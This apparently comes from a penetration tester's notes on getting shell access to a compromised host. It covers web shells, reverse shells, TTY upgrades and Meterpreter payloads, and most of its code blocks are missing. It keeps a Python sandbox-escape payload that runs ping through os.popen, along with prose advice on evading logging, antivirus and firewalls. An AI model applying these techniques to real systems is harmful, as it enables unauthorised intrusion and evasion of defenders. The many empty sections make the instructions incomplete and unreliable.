Bind / reverse shells

The following note details the procedure and tools that can be used to leverage a remote code execution into a fully TTY shell.

For Windows credentials (password or hashes) reuse and direct lateral movements, refer to the [Windows] Lateral movements note.

Miscellaneous

The rlwrap utility runs the specified command and intercept further input to provide line editing and history functionalities. It is useful for the reverse shell one-liners and tools that do not natively implement those features (such as netcat for example) and for which use of the arrows keyboard keys result in ^[[C / ^[[D / ^[[A / ^[[B.

rlwrap <COMMAND> [<ARGUMENTS>]

Detect firewall filtering

A firewall may be configured on the targeted system to block inbound or outbound connection (TCP, UDP, ICMP). If TCP / UDP reverse shell attempts are failing but ICMP packets are received from the target, a firewall may be in deployed.

Outgoing traffic blocking

tcpdump can be used to listen to ICMP traffic received on host:

tcpdump -i <INTERFACE> icmp

On target, make ICMP echo requests using ping in background to prevent shell lose in case of blocked ping:

ping -c 2 <IP> &

python -c 'import os;  os.popen("ping -c 2 <IP> &");"
python -c 'import os;  os.popen("ping -n 2 <IP> &");"

# Python in a pyjail
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('ping -c 2 <IP>').read()
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('ping -n 2 <IP>').read()

Windows firewall rules

The Windows firewall rules configured can be listed using the netsh DOS utility and the Get-NetFirewallRule PowerShell cmdlet.

By default, three separate listings are present: Domain profile settings, private profile settings and public profile settings. A different profile can be applied to each network adapter. The Domain profile is applied if the machine is joined to an Active Directory domain while the private profile is applied if the network is identified by the user as a private network. Otherwise and by default, the public profile is applied.

Windows blocks inbound connections and allows outbound connections for all profiles by default.

Web shells

A web shell is a script written in the supported language of the targeted web server to be uploaded and executed by the web service. It provides a mean to execute system commands on the target.

A collection of web shells for various languages is accessible on GitHub.

Kali Linux also comes with a smaller collection of web shell, located in:

JSP

Basic

JSP one-liner without output to execute system commands through GET parameters:

SecurityRiskAdvisors'

The SecurityRiskAdvisors' cmd.jsp web shell provides command execution and file upload capability while being as small and widely compatible as possible.

Once uploaded on the target system, load the following JavaScript code using the browser console to activate the user interface:

PHP

Basic

Basic PHP code to execute system commands through GET parameters:

Stealthy

Instead of passing the commands through the URL, which would appear in logs, heades parameters can be used:

Obfuscation

The following functions can be used to obfuscate the code.

phpbash

phpbash is a simple standalone, semi-interactive web shell. Upload the phpbash.php or phpbash.min.php file on the target and access it with any Javascript-enabled web browser to achieve RCE.

https://github.com/Arrexel/phpbash

Weevely

Weevely is a password protected web shell designed for post-exploitation purposes that can be extended over the network at runtime.

Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network. The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests.

CFM

Among others, the ColdFusion Markup Language cfexec.cfm web shell, located on Kali by default at /usr/share/webshells/cfm/cfexec.cfm, can be used to execute system commands on a web server supporting the CFM file format.

To execute CMD command on Windows, the parameters are as follow:

Bind Shells

[Linux / Windows] Netcat

Reverse Shells

Listener on host

[Linux / Windows] Basic listeners

[Windows] PowerCat

[Linux / Windows] xct's xc

[Linux / Windows] Python ICMP

One-liners reverse shell

[Linux] sh / bash

[Linux / Windows] Netcat

[Linux] Socat

socat is a command line utility that establishes two bidirectional byte streams and transfers data between them, often considered as a more advanced version of netcat. It can for example have multiple clients listening on a same port or reuse a connection. It is rarely present by default in Linux distributions.

[Windows] PowerShell

Standalone one-liner

Starting PowerShell with the straight reverse shell command, powershell -c <COMMAND>, may results in error. Encoding and executing the command in base64 oftentimes proves to be more successful.

PowerCat

powercat is a PowerShell function, for PowerShell Version 2 and later, providing the same functionalities as netcat.

powercat can be used to transfer data and execute commands over TCP, UDP and DNS. It can be used to execute a local executable, such as cmd, powershell directly, or a custom payload.

Python

PHP

Perl

Ruby

OpenSSL

Requires a listener that supports SSL / TLS connections.

Groovy

Complete reverse shell scripts

The scripts usually need to be uploaded on the target or hosted on a webserver, which can be done (for example) using python:

PowerShell

The Nishang PowerShell scripts can be used to get a reverse shell.

The following commands will load directly in memory the PowerShell script hosted on the remote webserver:

The PowerShell script can also be started directly upon download if the invoke command is added at the end of the script Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>

PHP

The pentestmonkey php-reverse-shell PHP script is a proper interactive reverse shell meant to be uploaded on a web service that runs PHP.

The following two lines need to be updated in the script:

The script can also be loaded directly in memory from a remote webserver, which can be used to leverage a remote command execution into a reverse shell on a server with PHP available:

[Windows] HTML Application

Windows HTML Application (HTA) file are HTML based and may contain JavaScript or VBScript that will be interpreted by the Windows operating system. More precisely, the HTA script can be interpreted through Internet Explorer or the Windows engine mshta.exe. As the file is not written on disk but directly interpreted from the remote URL, this technique can be used to bypass some anti-virus solutions (statement that does not hold as true now).

The following HTA script can be used to execute some PowerShell code (such as loading in memory and executing a PowerShell script). As the 32-bit version of mshta.exe seems to be executed by default, be aware that it will by default execute the 32-bit version of PowerShell. Even if the C:\Windows\System32 path is specified, it will be mapped to C:\Windows\SysWOW64 (for compatibility reasons). To force the 64-bit version of PowerShell to executed (needed for 64-bit shellcode for instance), the C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe path should be specified.

The Nishang's Out-HTA PowerShell cmdlet can be used as well to generate a HTA file with in-lined commands or that will download and execute a remote PowerShell script. It has the notable advantage of providing a failover mechanism: a live page related to Windows Defender from the Microsoft website is loaded if the HTA execution fails.

Complete reverse shell binaries

[Linux] C binary for SUID shell

The following code can be compiled to get a binary that will spawn a shell with out dropping the SID bit. Change the owner of the binary if needed chown root.root suid and then set the SUID bit and execution mode of the compiled binary using chmod 4755 suid or chmod a=srx suid.

Compiled reverse one-liner

If reverse shell must be made through a binary the following c code can be used:

The binary must be compiled on the same architecture as the target (advised to use the same OS and kernel for Linux targets).

To compile for a Windows target on Linux use the cross-compiler mingw:

[Linux / Windows] xct's xc

xc is a reverse shell for Linux and Windows written in Go. It includes a number of basic functionalities: file upload / download, local / remote ports forwarding, run as another user, client auto reconnect, etc. It can also be used on Windows systems to load and execute .NET assembly from memory.

Once a session has been established through xc, the following notable commands are supported:

msfvenom reverse shell binary

msfvenom can be used to generate a reverse shell binary:

For more information on how to generate and use reverse shell binaries using the Metasploit framework, refer to the Meterpreter section below.

C / CPP simple reverse shell

As an alternative to msfvenom, the following CPP code, from the C-Reverse-Shell GitHub repository, can be used to compile a simple reverse shell.

The char host[] = "<IP>"; and int port = <PORT>; instructions should be updated to match the contacted server. The reverse shell binary can be simply executed with out arguments or using re.exe <IP> <PORT>.

chashell

Chashell is a cross-platform Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks. As chashell relies on DNS, a Domain Name is required and must be bought and configured.

chashell makes use of a (multi-client) control server, chaserv, to receive the reverse shell connections.

The following commands can be used to build the client and server and to configure the DNS record:

The chaserv binary must be run on the control server and the chashell binary on the compromised host.

(Optional) TTY

A TTY is a particular kind of device file which implements a number of additional commands beyond read and write.

A TTY shell may be needed for an exploit to work and is required to make use of sudo. It is recommended to upgrade any shell obtained to TTY before attempting privileges escalation techniques.

(Optional) Auto-completion and commands history

  • Background the reverse shell terminal using Ctrl+Z

  • Set host terminal to raw with echo unset: stty raw -echo

  • Foreground the reverse shell terminal fg and re-initialize it using reset

If the TERM environment variable is not set on the reverse shell:

Lastly, the shell might not be of the correct height or width. To update the shell height / width to correspond to the terminal size use:

Meterpreter

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.

Handler

When using a meterpreter payload, a handler must be started on the host machine.

The commands to start a metasploit handler are as follows:

MsfVenom & MSFPC

The metasploit framework msfvenom is a powerful standalone payload generator.

Two kinds of payloads can be generated:

  • Staged payloads that will require a metasploit handler

  • Stageless payloads that will not require a metasploit handler (and will work with netcat for example)

Note that, while offering encoding techniques, the binary payloads generated with msfvenom are often detected by AV softwares. To generate stealthier binary payloads use Shellter [(Windows / binary) Shellter].

The MSFvenom Payload Creator (MSFPC) bash script can be used to easily generate various "basic" Meterpreter payloads via msfvenom:

msfvenom cheat sheet:

Meterpreter through HTML Application

Windows HTML Application script can contain JavaScript or VBScript that will be interpreted by the operating system.

The metasploit module exploit/windows/misc/hta_server can be used to generate then host a HTA script that will launch a payload through PowerShell when interpreted.

The HTA script can be interpreted through Internet Explorer or the Windows utility mshta.exe. As the file is not written on disk but directly interpreted from the remote URL, this technique can be used to bypass some anti-virus solutions.

Meterpreter as an encoded shellcode

msfvenom can be used to generate a meterpreter shellcode, which can later be integrated and run from a compiled binary or a PowerShell script.

The encoder shikata_ga_nai with some iterations yields the best results.

The commands to generate a shellcode are as follows:

PreviousPorts scanNextFile transfer / exfiltration

Last updated